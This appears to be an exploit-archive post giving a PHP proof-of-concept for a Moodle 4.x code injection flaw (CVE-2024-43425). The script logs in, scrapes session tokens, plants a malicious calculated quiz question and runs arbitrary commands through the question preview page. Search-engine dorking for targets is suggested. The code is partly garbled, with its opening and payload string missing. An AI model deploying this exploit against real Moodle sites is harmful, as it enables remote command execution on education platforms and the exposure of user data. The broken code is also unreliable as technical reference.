============================================================================================================================================= | # Title : Moodle 4.x PHP Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://moodle.com/moodle-4/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: (PHP Code Injection Vulnerability) in Moodle (CVE-2024-43425). The module executes commands using command injection through the Moodle quiz question feature. [+] save code as poc.php . [+] Set Target : line 8 + 9 + 10 [+] USage : php poc.php [+] PayLoad : $username, "password" => $password, "logintoken" => $logintoken ]; $response = send_request("$target/login/index.php", $login_data); // التأكد من نجاح تسجيل الدخول if (strpos($response, "dashboard") === false) { die("❌ فشل تسجيل الدخول!\n"); } // 3. الحصول على `sesskey` $dashboard = send_request("$target/my/"); preg_match('/"sesskey":"(.*?)"/', $dashboard, $matches); $sesskey = $matches[1] ?? die("❌ فشل في الحصول على sesskey\n"); // 4. استخراج `courseContextId` preg_match('/data-contextid="(\d+)"/', $dashboard, $matches); $courseContextId = $matches[1] ?? die("❌ فشل في الحصول على courseContextId\n"); // 5. إضافة السؤال مع الحمولة (Payload) $payload = "

"; $question_data = [ "category" => "$courseContextId,1", "sesskey" => $sesskey, "qtype" => "calculated", "name" => "exploit", "questiontext[text]" => $payload, "questiontext[format]" => "1", "submitbutton" => "Save changes" ]; send_request("$target/question/question.php", $question_data); // 6. تنفيذ الأوامر عبر الطلب GET $cmd = $_GET['a'] ?? 'id'; $response = send_request("$target/question/preview.php?a=" . urlencode($cmd)); // عرض النتيجة echo "✅ نتيجة التنفيذ:\n"; echo htmlspecialchars($response); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================